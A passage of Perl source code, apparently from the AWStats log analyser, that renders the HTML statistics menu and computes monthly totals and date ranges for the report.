13507
 
        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuHeader'} } ) {
13508
 
 
13509
 
                #               my $function="AddHTMLMenuHeader_$pluginname()";
13510
 
                #               eval("$function");
13511
 
                my $function = "AddHTMLMenuHeader_$pluginname";
13512
 
                &$function();
13513
 
        }
13514
 
 
13515
 
        # MENU (ON LEFT IF FRAME OR TOP)
13516
 
        #---------------------------------------------------------------------
13517
 
        if ( $ShowMenu || $FrameName eq 'mainleft' ) {
13518
 
                my $frame = ( $FrameName eq 'mainleft' );
13519
 
 
13520
 
                if ($Debug) { debug( "ShowMenu", 2 ); }
13521
 
 
13522
 
                # Print menu links
13523
 
                if ( ( $HTMLOutput{'main'} && $FrameName ne 'mainright' )
13524
 
                        || $FrameName eq 'mainleft' )
13525
 
                {    # If main page asked
13526
 
                            # Define link anchor
13527
 
                        my $linkanchor =
13528
 
                          ( $FrameName eq 'mainleft' ? "$AWScript?${NewLinkParams}" : "" );
13529
 
                        if ( $linkanchor && ( $linkanchor !~ /framename=mainright/ ) ) {
13530
 
                                $linkanchor .= "framename=mainright";
13531
 
                        }
13532
 
                        $linkanchor =~ s/(&|&amp;)$//;
13533
 
                        $linkanchor = XMLEncode("$linkanchor");
13534
 
 
13535
 
                        # Define target
13536
 
                        my $targetpage =
13537
 
                          ( $FrameName eq 'mainleft' ? " target=\"mainright\"" : "" );
13538
 
 
13539
 
                        # Print Menu
13540
 
                        my $linetitle;    # TODO a virer
13541
 
                        if ( !$PluginsLoaded{'ShowMenu'}{'menuapplet'} ) {
13542
 
                                my $menuicon = 0;    # TODO a virer
13543
 
                                                     # Menu HTML
13544
 
                                print "<table"
13545
 
                                  . (
13546
 
                                        $frame
13547
 
                                        ? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\""
13548
 
                                        : ""
13549
 
                                  )
13550
 
                                  . ">\n";
13551
 
                                if ( $FrameName eq 'mainleft' && $ShowMonthStats ) {
13552
 
                                        print( $frame? "<tr><td class=\"awsm\">" : "" );
13553
 
                                        print
13554
 
"<a href=\"$linkanchor#top\"$targetpage>$Message[128]</a>";
13555
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13556
 
                                }
13557
 
                                my %menu     = ();
13558
 
                                my %menulink = ();
13559
 
                                my %menutext = ();
13560
 
 
13561
 
                                # When
13562
 
                                %menu = (
13563
 
                                        'month'       => $ShowMonthStats       ? 1 : 0,
13564
 
                                        'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0,
13565
 
                                        'daysofweek'  => $ShowDaysOfWeekStats  ? 3 : 0,
13566
 
                                        'hours'       => $ShowHoursStats       ? 4 : 0
13567
 
                                );
13568
 
                                %menulink = (
13569
 
                                        'month'       => 1,
13570
 
                                        'daysofmonth' => 1,
13571
 
                                        'daysofweek'  => 1,
13572
 
                                        'hours'       => 1
13573
 
                                );
13574
 
                                %menutext = (
13575
 
                                        'month'       => $Message[162],
13576
 
                                        'daysofmonth' => $Message[138],
13577
 
                                        'daysofweek'  => $Message[91],
13578
 
                                        'hours'       => $Message[20]
13579
 
                                );
13580
 
                                ShowMenuCateg(
13581
 
                                        'when',         $Message[93],
13582
 
                                        'menu4.png',    $frame,
13583
 
                                        $targetpage,    $linkanchor,
13584
 
                                        $NewLinkParams, $NewLinkTarget,
13585
 
                                        \%menu,         \%menulink,
13586
 
                                        \%menutext
13587
 
                                );
13588
 
 
13589
 
                                # Who
13590
 
                                %menu = (
13591
 
                                        'countries'  => $ShowDomainsStats ? 1 : 0,
13592
 
                                        'alldomains' => $ShowDomainsStats ? 2 : 0,
13593
 
                                        'visitors'   => $ShowHostsStats   ? 3 : 0,
13594
 
                                        'allhosts'   => $ShowHostsStats   ? 4 : 0,
13595
 
                                        'lasthosts' => ( $ShowHostsStats =~ /L/i ) ? 5 : 0,
13596
 
                                        'unknownip' => $ShowHostsStats         ? 6 : 0,
13597
 
                                        'logins'    => $ShowAuthenticatedUsers ? 7 : 0,
13598
 
                                        'alllogins' => $ShowAuthenticatedUsers ? 8 : 0,
13599
 
                                        'lastlogins' => ( $ShowAuthenticatedUsers =~ /L/i ) ? 9 : 0,
13600
 
                                        'emailsenders' => $ShowEMailSenders ? 10 : 0,
13601
 
                                        'allemails'    => $ShowEMailSenders ? 11 : 0,
13602
 
                                        'lastemails' => ( $ShowEMailSenders =~ /L/i ) ? 12 : 0,
13603
 
                                        'emailreceivers' => $ShowEMailReceivers ? 13 : 0,
13604
 
                                        'allemailr'      => $ShowEMailReceivers ? 14 : 0,
13605
 
                                        'lastemailr' => ( $ShowEMailReceivers =~ /L/i ) ? 15 : 0,
13606
 
                                        'robots'    => $ShowRobotsStats ? 16 : 0,
13607
 
                                        'allrobots' => $ShowRobotsStats ? 17 : 0,
13608
 
                                        'lastrobots' => ( $ShowRobotsStats =~ /L/i ) ? 18 : 0,
13609
 
                                        'worms' => $ShowWormsStats ? 19 : 0
13610
 
                                );
13611
 
                                %menulink = (
13612
 
                                        'countries'      => 1,
13613
 
                                        'alldomains'     => 2,
13614
 
                                        'visitors'       => 1,
13615
 
                                        'allhosts'       => 2,
13616
 
                                        'lasthosts'      => 2,
13617
 
                                        'unknownip'      => 2,
13618
 
                                        'logins'         => 1,
13619
 
                                        'alllogins'      => 2,
13620
 
                                        'lastlogins'     => 2,
13621
 
                                        'emailsenders'   => 1,
13622
 
                                        'allemails'      => 2,
13623
 
                                        'lastemails'     => 2,
13624
 
                                        'emailreceivers' => 1,
13625
 
                                        'allemailr'      => 2,
13626
 
                                        'lastemailr'     => 2,
13627
 
                                        'robots'         => 1,
13628
 
                                        'allrobots'      => 2,
13629
 
                                        'lastrobots'     => 2,
13630
 
                                        'worms'          => 1
13631
 
                                );
13632
 
                                %menutext = (
13633
 
                                        'countries'      => $Message[148],
13634
 
                                        'alldomains'     => $Message[80],
13635
 
                                        'visitors'       => $Message[81],
13636
 
                                        'allhosts'       => $Message[80],
13637
 
                                        'lasthosts'      => $Message[9],
13638
 
                                        'unknownip'      => $Message[45],
13639
 
                                        'logins'         => $Message[94],
13640
 
                                        'alllogins'      => $Message[80],
13641
 
                                        'lastlogins'     => $Message[9],
13642
 
                                        'emailsenders'   => $Message[131],
13643
 
                                        'allemails'      => $Message[80],
13644
 
                                        'lastemails'     => $Message[9],
13645
 
                                        'emailreceivers' => $Message[132],
13646
 
                                        'allemailr'      => $Message[80],
13647
 
                                        'lastemailr'     => $Message[9],
13648
 
                                        'robots'         => $Message[53],
13649
 
                                        'allrobots'      => $Message[80],
13650
 
                                        'lastrobots'     => $Message[9],
13651
 
                                        'worms'          => $Message[136]
13652
 
                                );
13653
 
                                ShowMenuCateg(
13654
 
                                        'who',          $Message[92],
13655
 
                                        'menu5.png',    $frame,
13656
 
                                        $targetpage,    $linkanchor,
13657
 
                                        $NewLinkParams, $NewLinkTarget,
13658
 
                                        \%menu,         \%menulink,
13659
 
                                        \%menutext
13660
 
                                );
13661
 
 
13662
 
                                # Navigation
13663
 
                                $linetitle = &AtLeastOneNotNull(
13664
 
                                        $ShowSessionsStats,  $ShowPagesStats,
13665
 
                                        $ShowFileTypesStats, $ShowFileSizesStats,
13666
 
                                        $ShowOSStats,        $ShowBrowsersStats,
13667
 
                                        $ShowScreenSizeStats
13668
 
                                );
13669
 
                                if ($linetitle) {
13670
 
                                        print "<tr><td class=\"awsm\""
13671
 
                                          . ( $frame ? "" : " valign=\"top\"" ) . ">"
13672
 
                                          . (
13673
 
                                                $menuicon
13674
 
                                                ? "<img src=\"$DirIcons/other/menu2.png\" />&nbsp;"
13675
 
                                                : ""
13676
 
                                          )
13677
 
                                          . "<b>$Message[72]:</b></td>\n";
13678
 
                                }
13679
 
                                if ($linetitle) {
13680
 
                                        print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
13681
 
                                }
13682
 
                                if ($ShowSessionsStats) {
13683
 
                                        print( $frame? "<tr><td class=\"awsm\">" : "" );
13684
 
                                        print
13685
 
"<a href=\"$linkanchor#sessions\"$targetpage>$Message[117]</a>";
13686
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13687
 
                                }
13688
 
                                if ($ShowFileTypesStats) {
13689
 
                                        print( $frame? "<tr><td class=\"awsm\">" : "" );
13690
 
                                        print
13691
 
"<a href=\"$linkanchor#filetypes\"$targetpage>$Message[73]</a>";
13692
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13693
 
                                }
13694
 
                                if ($ShowPagesStats) {
13695
 
                                        print( $frame? "<tr><td class=\"awsm\">" : "" );
13696
 
                                        print
13697
 
"<a href=\"$linkanchor#urls\"$targetpage>$Message[29]</a>\n";
13698
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13699
 
                                }
13700
 
                                if ($ShowPagesStats) {
13701
 
                                        print( $frame
13702
 
                                                ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13703
 
                                                : ""
13704
 
                                        );
13705
 
                                        print "<a href=\""
13706
 
                                          . (
13707
 
                                                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13708
 
                                                ? XMLEncode(
13709
 
                                                        "$AWScript?${NewLinkParams}output=urldetail")
13710
 
                                                : "$PROG$StaticLinks.urldetail.$StaticExt"
13711
 
                                          )
13712
 
                                          . "\"$NewLinkTarget>$Message[80]</a>\n";
13713
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13714
 
                                }
13715
 
                                if ( $ShowPagesStats =~ /E/i ) {
13716
 
                                        print( $frame
13717
 
                                                ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13718
 
                                                : ""
13719
 
                                        );
13720
 
                                        print "<a href=\""
13721
 
                                          . (
13722
 
                                                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13723
 
                                                ? XMLEncode(
13724
 
                                                        "$AWScript?${NewLinkParams}output=urlentry")
13725
 
                                                : "$PROG$StaticLinks.urlentry.$StaticExt"
13726
 
                                          )
13727
 
                                          . "\"$NewLinkTarget>$Message[104]</a>\n";
13728
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13729
 
                                }
13730
 
                                if ( $ShowPagesStats =~ /X/i ) {
13731
 
                                        print( $frame
13732
 
                                                ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13733
 
                                                : ""
13734
 
                                        );
13735
 
                                        print "<a href=\""
13736
 
                                          . (
13737
 
                                                $ENV{'GATEWAY_INTERFACE'}
13738
 
                                                  || !$StaticLinks
13739
 
                                                ? XMLEncode("$AWScript?${NewLinkParams}output=urlexit")
13740
 
                                                : "$PROG$StaticLinks.urlexit.$StaticExt"
13741
 
                                          )
13742
 
                                          . "\"$NewLinkTarget>$Message[116]</a>\n";
13743
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13744
 
                                }
13745
 
                                if ($ShowOSStats) {
13746
 
                                        print( $frame? "<tr><td class=\"awsm\">" : "" );
13747
 
                                        print
13748
 
                                          "<a href=\"$linkanchor#os\"$targetpage>$Message[59]</a>";
13749
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13750
 
                                }
13751
 
                                if ($ShowOSStats) {
13752
 
                                        print( $frame
13753
 
                                                ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13754
 
                                                : ""
13755
 
                                        );
13756
 
                                        print "<a href=\""
13757
 
                                          . (
13758
 
                                                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13759
 
                                                ? XMLEncode(
13760
 
                                                        "$AWScript?${NewLinkParams}output=osdetail")
13761
 
                                                : "$PROG$StaticLinks.osdetail.$StaticExt"
13762
 
                                          )
13763
 
                                          . "\"$NewLinkTarget>$Message[58]</a>\n";
13764
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13765
 
                                }
13766
 
                                if ($ShowOSStats) {
13767
 
                                        print( $frame
13768
 
                                                ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13769
 
                                                : ""
13770
 
                                        );
13771
 
                                        print "<a href=\""
13772
 
                                          . (
13773
 
                                                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13774
 
                                                ? XMLEncode(
13775
 
                                                        "$AWScript?${NewLinkParams}output=unknownos")
13776
 
                                                : "$PROG$StaticLinks.unknownos.$StaticExt"
13777
 
                                          )
13778
 
                                          . "\"$NewLinkTarget>$Message[0]</a>\n";
13779
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13780
 
                                }
13781
 
                                if ($ShowBrowsersStats) {
13782
 
                                        print( $frame? "<tr><td class=\"awsm\">" : "" );
13783
 
                                        print
13784
 
"<a href=\"$linkanchor#browsers\"$targetpage>$Message[21]</a>";
13785
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13786
 
                                }
13787
 
                                if ($ShowBrowsersStats) {
13788
 
                                        print( $frame
13789
 
                                                ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13790
 
                                                : ""
13791
 
                                        );
13792
 
                                        print "<a href=\""
13793
 
                                          . (
13794
 
                                                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13795
 
                                                ? XMLEncode(
13796
 
                                                        "$AWScript?${NewLinkParams}output=browserdetail")
13797
 
                                                : "$PROG$StaticLinks.browserdetail.$StaticExt"
13798
 
                                          )
13799
 
                                          . "\"$NewLinkTarget>$Message[58]</a>\n";
13800
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13801
 
                                }
13802
 
                                if ($ShowBrowsersStats) {
13803
 
                                        print( $frame
13804
 
                                                ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
13805
 
                                                : ""
13806
 
                                        );
13807
 
                                        print "<a href=\""
13808
 
                                          . (
13809
 
                                                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13810
 
                                                ? XMLEncode(
13811
 
                                                        "$AWScript?${NewLinkParams}output=unknownbrowser")
13812
 
                                                : "$PROG$StaticLinks.unknownbrowser.$StaticExt"
13813
 
                                          )
13814
 
                                          . "\"$NewLinkTarget>$Message[0]</a>\n";
13815
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13816
 
                                }
13817
 
                                if ($ShowScreenSizeStats) {
13818
 
                                        print( $frame? "<tr><td class=\"awsm\">" : "" );
13819
 
                                        print
13820
 
"<a href=\"$linkanchor#screensizes\"$targetpage>$Message[135]</a>";
13821
 
                                        print( $frame? "</td></tr>\n" : " &nbsp; " );
13822
 
                                }
13823
 
                                if ($linetitle) { print( $frame? "" : "</td></tr>\n" ); }
13824
 
 
13825
 
                                # Referers
13826
 
                                %menu = (
13827
 
                                        'referer'      => $ShowOriginStats ? 1 : 0,
13828
 
                                        'refererse'    => $ShowOriginStats ? 2 : 0,
13829
 
                                        'refererpages' => $ShowOriginStats ? 3 : 0,
13830
 
                                        'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats )
13831
 
                                        ? 4
13832
 
                                        : 0,
13833
 
                                        'keyphrases' => $ShowKeyphrasesStats ? 5 : 0,
13834
 
                                        'keywords'   => $ShowKeywordsStats   ? 6 : 0
13835
 
                                );
13836
 
                                %menulink = (
13837
 
                                        'referer'      => 1,
13838
 
                                        'refererse'    => 2,
13839
 
                                        'refererpages' => 2,
13840
 
                                        'keys'         => 1,
13841
 
                                        'keyphrases'   => 2,
13842
 
                                        'keywords'     => 2
13843
 
                                );
13844
 
                                %menutext = (
13845
 
                                        'referer'      => $Message[37],
13846
 
                                        'refererse'    => $Message[126],
13847
 
                                        'refererpages' => $Message[127],
13848
 
                                        'keys'         => $Message[14],
13849
 
                                        'keyphrases'   => $Message[120],
13850
 
                                        'keywords'     => $Message[121]
13851
 
                                );
13852
 
                                ShowMenuCateg(
13853
 
                                        'referers',     $Message[23],
13854
 
                                        'menu7.png',    $frame,
13855
 
                                        $targetpage,    $linkanchor,
13856
 
                                        $NewLinkParams, $NewLinkTarget,
13857
 
                                        \%menu,         \%menulink,
13858
 
                                        \%menutext
13859
 
                                );
13860
 
 
13861
 
                                # Others
13862
 
                                %menu = (
13863
 
                                        'filetypes' => ( $ShowFileTypesStats =~ /C/i ) ? 1 : 0,
13864
 
                                        'misc' => $ShowMiscStats ? 2 : 0,
13865
 
                                        'errors' => ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats )
13866
 
                                        ? 3
13867
 
                                        : 0,
13868
 
                                        'clusters' => $ShowClusterStats ? 5 : 0
13869
 
                                );
13870
 
                                %menulink = (
13871
 
                                        'filetypes' => 1,
13872
 
                                        'misc'      => 1,
13873
 
                                        'errors'    => 1,
13874
 
                                        'clusters'  => 1
13875
 
                                );
13876
 
                                %menutext = (
13877
 
                                        'filetypes' => $Message[98],
13878
 
                                        'misc'      => $Message[139],
13879
 
                                        'errors'    =>
13880
 
                                          ( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ),
13881
 
                                        'clusters' => $Message[155]
13882
 
                                );
13883
 
                                foreach ( keys %TrapInfosForHTTPErrorCodes ) {
13884
 
                                        $menu{"errors$_"}     = $ShowHTTPErrorsStats ? 4 : 0;
13885
 
                                        $menulink{"errors$_"} = 2;
13886
 
                                        $menutext{"errors$_"} = $Message[31];
13887
 
                                }
13888
 
                                ShowMenuCateg(
13889
 
                                        'others',       $Message[2],
13890
 
                                        'menu8.png',    $frame,
13891
 
                                        $targetpage,    $linkanchor,
13892
 
                                        $NewLinkParams, $NewLinkTarget,
13893
 
                                        \%menu,         \%menulink,
13894
 
                                        \%menutext
13895
 
                                );
13896
 
 
13897
 
                                # Extra/Marketing
13898
 
                                %menu     = ();
13899
 
                                %menulink = ();
13900
 
                                %menutext = ();
13901
 
                                my $i = 1;
13902
 
                                foreach ( 1 .. @ExtraName - 1 ) {
13903
 
                                        $menu{"extra$_"}        = $i++;
13904
 
                                        $menulink{"extra$_"}    = 1;
13905
 
                                        $menutext{"extra$_"}    = $ExtraName[$_];
13906
 
                                        $menu{"allextra$_"}     = $i++;
13907
 
                                        $menulink{"allextra$_"} = 2;
13908
 
                                        $menutext{"allextra$_"} = $Message[80];
13909
 
                                }
13910
 
                                ShowMenuCateg(
13911
 
                                        'extra',        $Message[134],
13912
 
                                        '',             $frame,
13913
 
                                        $targetpage,    $linkanchor,
13914
 
                                        $NewLinkParams, $NewLinkTarget,
13915
 
                                        \%menu,         \%menulink,
13916
 
                                        \%menutext
13917
 
                                );
13918
 
                                print "</table>\n";
13919
 
                        }
13920
 
                        else {
13921
 
 
13922
 
                                # Menu Applet
13923
 
                                if ($frame) { }
13924
 
                                else { }
13925
 
                        }
13926
 
 
13927
 
                        #print ($frame?"":"<br />\n");
13928
 
                        print "<br />\n";
13929
 
                }
13930
 
 
13931
 
                # Print Back link
13932
 
                elsif ( !$HTMLOutput{'main'} ) {
13933
 
                        print "<table>\n";
13934
 
                        $NewLinkParams =~ s/(^|&|&amp;)hostfilter=[^&]*//i;
13935
 
                        $NewLinkParams =~ s/(^|&|&amp;)urlfilter=[^&]*//i;
13936
 
                        $NewLinkParams =~ s/(^|&|&amp;)refererpagesfilter=[^&]*//i;
13937
 
                        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
13938
 
                        $NewLinkParams =~ s/^&amp;//;
13939
 
                        $NewLinkParams =~ s/&amp;$//;
13940
 
                        if (   !$DetailedReportsOnNewWindows
13941
 
                                || $FrameName eq 'mainright'
13942
 
                                || $QueryString =~ /buildpdf/i )
13943
 
                        {
13944
 
                                print "<tr><td class=\"aws\"><a href=\""
13945
 
                                  . (
13946
 
                                        $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
13947
 
                                        ? XMLEncode(
13948
 
                                                "$AWScript"
13949
 
                                                  . ( ${NewLinkParams} ? "?${NewLinkParams}" : "" )
13950
 
                                          )
13951
 
                                        : "$PROG$StaticLinks.$StaticExt"
13952
 
                                  )
13953
 
                                  . "\">$Message[76]</a></td></tr>\n";
13954
 
                        }
13955
 
                        else {
13956
 
                                print
13957
 
"<tr><td class=\"aws\"><a href=\"javascript:parent.window.close();\">$Message[118]</a></td></tr>\n";
13958
 
                        }
13959
 
                        print "</table>\n";
13960
 
                        print "\n";
13961
 
                }
13962
 
        }
13963
 
 
13964
 
        # Call to plugins' function AddHTMLMenuFooter
13965
 
        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuFooter'} } ) {
13966
 
 
13967
 
                #               my $function="AddHTMLMenuFooter_$pluginname()";
13968
 
                #               eval("$function");
13969
 
                my $function = "AddHTMLMenuFooter_$pluginname";
13970
 
                &$function();
13971
 
        }
13972
 
 
13973
 
        # Exit if left frame
13974
 
        if ( $FrameName eq 'mainleft' ) {
13975
 
                &html_end(0);
13976
 
                exit 0;
13977
 
        }
13978
 
 
13979
 
        # FirstTime LastTime
13980
 
        my $FirstTime = 0;
13981
 
        my $LastTime  = 0;
13982
 
        foreach my $key ( keys %FirstTime ) {
13983
 
                my $keyqualified = 0;
13984
 
                if ( $MonthRequired eq 'all' ) { $keyqualified = 1; }
13985
 
                if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; }
13986
 
                if ($keyqualified) {
13987
 
                        if ( $FirstTime{$key}
13988
 
                                && ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) )
13989
 
                        {
13990
 
                                $FirstTime = $FirstTime{$key};
13991
 
                        }
13992
 
                        if ( $LastTime < ( $LastTime{$key} || 0 ) ) {
13993
 
                                $LastTime = $LastTime{$key};
13994
 
                        }
13995
 
                }
13996
 
        }
13997
 
 
13998
 
# TotalVisits TotalUnique TotalPages TotalHits TotalBytes TotalHostsKnown TotalHostsUnknown
13999
 
        $TotalUnique = $TotalVisits = $TotalPages = $TotalHits = $TotalBytes = 0;
14000
 
        $TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
14001
 
        $TotalHostsKnown = $TotalHostsUnknown = 0;
14002
 
        my $beginmonth = $MonthRequired;
14003
 
        my $endmonth   = $MonthRequired;
14004
 
        if ( $MonthRequired eq 'all' ) { $beginmonth = 1; $endmonth = 12; }
14005
 
        for ( my $month = $beginmonth ; $month <= $endmonth ; $month++ ) {
14006
 
                my $monthix = sprintf( "%02s", $month );
14007
 
                $TotalHostsKnown += $MonthHostsKnown{ $YearRequired . $monthix }
14008
 
                  || 0;    # Wrong in year view
14009
 
                $TotalHostsUnknown += $MonthHostsUnknown{ $YearRequired . $monthix }
14010
 
                  || 0;    # Wrong in year view
14011
 
                $TotalUnique += $MonthUnique{ $YearRequired . $monthix }
14012
 
                  || 0;    # Wrong in year view
14013
 
                $TotalVisits += $MonthVisits{ $YearRequired . $monthix }
14014
 
                  || 0;    # Not completely true
14015
 
                $TotalPages += $MonthPages{ $YearRequired . $monthix } || 0;
14016
 
                $TotalHits  += $MonthHits{ $YearRequired . $monthix }  || 0;
14017
 
                $TotalBytes += $MonthBytes{ $YearRequired . $monthix } || 0;
14018
 
                $TotalNotViewedPages += $MonthNotViewedPages{ $YearRequired . $monthix }
14019
 
                  || 0;
14020
 
                $TotalNotViewedHits += $MonthNotViewedHits{ $YearRequired . $monthix }
14021
 
                  || 0;
14022
 
                $TotalNotViewedBytes += $MonthNotViewedBytes{ $YearRequired . $monthix }
14023
 
                  || 0;
14024
 
        }
14025
 
 
14026
 
        # TotalHitsErrors TotalBytesErrors
14027
 
        my $TotalHitsErrors  = 0;
14028
 
        my $TotalBytesErrors = 0;
14029
 
        foreach ( keys %_errors_h ) {
14030
 
 
14031
 
                #               print "xxxx".$_." zzz".$_errors_h{$_};
14032
 
                $TotalHitsErrors  += $_errors_h{$_};
14033
 
                $TotalBytesErrors += $_errors_k{$_};
14034
 
        }
14035
 
 
14036
 
# TotalEntries (if not already specifically counted, we init it from _url_e hash table)
14037
 
        if ( !$TotalEntries ) {
14038
 
                foreach ( keys %_url_e ) { $TotalEntries += $_url_e{$_}; }
14039
 
        }
14040
 
 
14041
 
# TotalExits (if not already specifically counted, we init it from _url_x hash table)
14042
 
        if ( !$TotalExits ) {
14043
 
                foreach ( keys %_url_x ) { $TotalExits += $_url_x{$_}; }
14044
 
        }
14045
 
 
14046
 
# TotalBytesPages (if not already specifically counted, we init it from _url_k hash table)
14047
 
        if ( !$TotalBytesPages ) {
14048
 
                foreach ( keys %_url_k ) { $TotalBytesPages += $_url_k{$_}; }
14049
 
        }
14050
 
 
14051
 
# TotalKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
14052
 
        if ( !$TotalKeyphrases ) {
14053
 
                foreach ( keys %_keyphrases ) { $TotalKeyphrases += $_keyphrases{$_}; }
14054
 
        }
14055
 
 
14056
 
# TotalKeywords (if not already specifically counted, we init it from _keywords hash table)
14057
 
        if ( !$TotalKeywords ) {
14058
 
                foreach ( keys %_keywords ) { $TotalKeywords += $_keywords{$_}; }
14059
 
        }
14060
 
 
14061
 
# TotalSearchEnginesPages (if not already specifically counted, we init it from _se_referrals_p hash table)
14062
 
        if ( !$TotalSearchEnginesPages ) {
14063
 
                foreach ( keys %_se_referrals_p ) {
14064
 
                        $TotalSearchEnginesPages += $_se_referrals_p{$_};
14065
 
                }
14066
 
        }
14067
 
 
14068
 
# TotalSearchEnginesHits (if not already specifically counted, we init it from _se_referrals_h hash table)
14069
 
        if ( !$TotalSearchEnginesHits ) {
14070
 
                foreach ( keys %_se_referrals_h ) {
14071
 
                        $TotalSearchEnginesHits += $_se_referrals_h{$_};
14072
 
                }
14073
 
        }
14074
 
 
14075
 
# TotalRefererPages (if not already specifically counted, we init it from _pagesrefs_p hash table)
14076
 
        if ( !$TotalRefererPages ) {
14077
 
                foreach ( keys %_pagesrefs_p ) {
14078
 
                        $TotalRefererPages += $_pagesrefs_p{$_};
14079
 
                }
14080
 
        }
14081
 
 
14082
 
# TotalRefererHits (if not already specifically counted, we init it from _pagesrefs_h hash table)
14083
 
        if ( !$TotalRefererHits ) {
14084
 
                foreach ( keys %_pagesrefs_h ) {
14085
 
                        $TotalRefererHits += $_pagesrefs_h{$_};
14086
 
                }
14087
 
        }
14088
 
 
14089
 
# TotalDifferentPages (if not already specifically counted, we init it from _url_p hash table)
14090
 
        $TotalDifferentPages ||= scalar keys %_url_p;
14091
 
 
14092
 
# TotalDifferentKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
14093
 
        $TotalDifferentKeyphrases ||= scalar keys %_keyphrases;
14094
 
 
14095
 
# TotalDifferentKeywords (if not already specifically counted, we init it from _keywords hash table)
14096
 
        $TotalDifferentKeywords ||= scalar keys %_keywords;
14097
 
 
14098
 
# TotalDifferentSearchEngines (if not already specifically counted, we init it from _se_referrals_h hash table)
14099
 
        $TotalDifferentSearchEngines ||= scalar keys %_se_referrals_h;
14100
 
 
14101
 
# TotalDifferentReferer (if not already specifically counted, we init it from _pagesrefs_h hash table)
14102
 
        $TotalDifferentReferer ||= scalar keys %_pagesrefs_h;
14103
 
 
14104
 
# Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime
14105
 
        my $firstdaytocountaverage =
14106
 
          $nowyear . $nowmonth . "01";    # Set day cursor to 1st day of month
14107
 
        my $firstdaytoshowtime =
14108
 
          $nowyear . $nowmonth . "01";    # Set day cursor to 1st day of month
14109
 
        my $lastdaytocountaverage =
14110
 
          $nowyear . $nowmonth . $nowday;    # Set day cursor to today
14111
 
        my $lastdaytoshowtime =
14112
 
          $nowyear . $nowmonth . "31";       # Set day cursor to last day of month
14113
 
        if ( $MonthRequired eq 'all' ) {
14114
 
                $firstdaytocountaverage =
14115
 
                  $YearRequired
14116
 
                  . "0101";    # Set day cursor to 1st day of the required year
14117
 
        }
14118
 
        if ( ( $MonthRequired ne $nowmonth && $MonthRequired ne 'all' )
14119
 
                || $YearRequired ne $nowyear )
14120
 
        {
14121
 
                if ( $MonthRequired eq 'all' ) {
14122
 
                        $firstdaytocountaverage =
14123
 
                          $YearRequired
14124
 
                          . "0101";    # Set day cursor to 1st day of the required year
14125
 
                        $firstdaytoshowtime =
14126
 
                          $YearRequired . "1201"
14127
 
                          ;    # Set day cursor to 1st day of last month of required year
14128
 
                        $lastdaytocountaverage =
14129
 
                          $YearRequired
14130
 
                          . "1231";    # Set day cursor to last day of the required year
14131
 
                        $lastdaytoshowtime =
14132
 
                          $YearRequired . "1231"
14133
 
                          ;    # Set day cursor to last day of last month of required year
14134
 
                }
14135
 
                else {
14136
 
                        $firstdaytocountaverage =
14137
 
                            $YearRequired
14138
 
                          . $MonthRequired
14139
 
                          . "01";    # Set day cursor to 1st day of the required month
14140
 
                        $firstdaytoshowtime =
14141
 
                            $YearRequired
14142
 
                          . $MonthRequired
14143
 
                          . "01";    # Set day cursor to 1st day of the required month
14144
 
                        $lastdaytocountaverage =
14145
 
                            $YearRequired
14146
 
                          . $MonthRequired
14147
 
                          . "31";    # Set day cursor to last day of the required month
14148
 
                        $lastdaytoshowtime =
14149
 
                            $YearRequired
14150
 
                          . $MonthRequired
14151
 
                          . "31";    # Set day cursor to last day of the required month
14152
 
                }
14153
 
        }
14154
 
        if ($Debug) {
14155
 
                debug(
14156
 
"firstdaytocountaverage=$firstdaytocountaverage, lastdaytocountaverage=$lastdaytocountaverage",
14157
 
                        1
14158
 
                );
14159
 
                debug(
14160
 
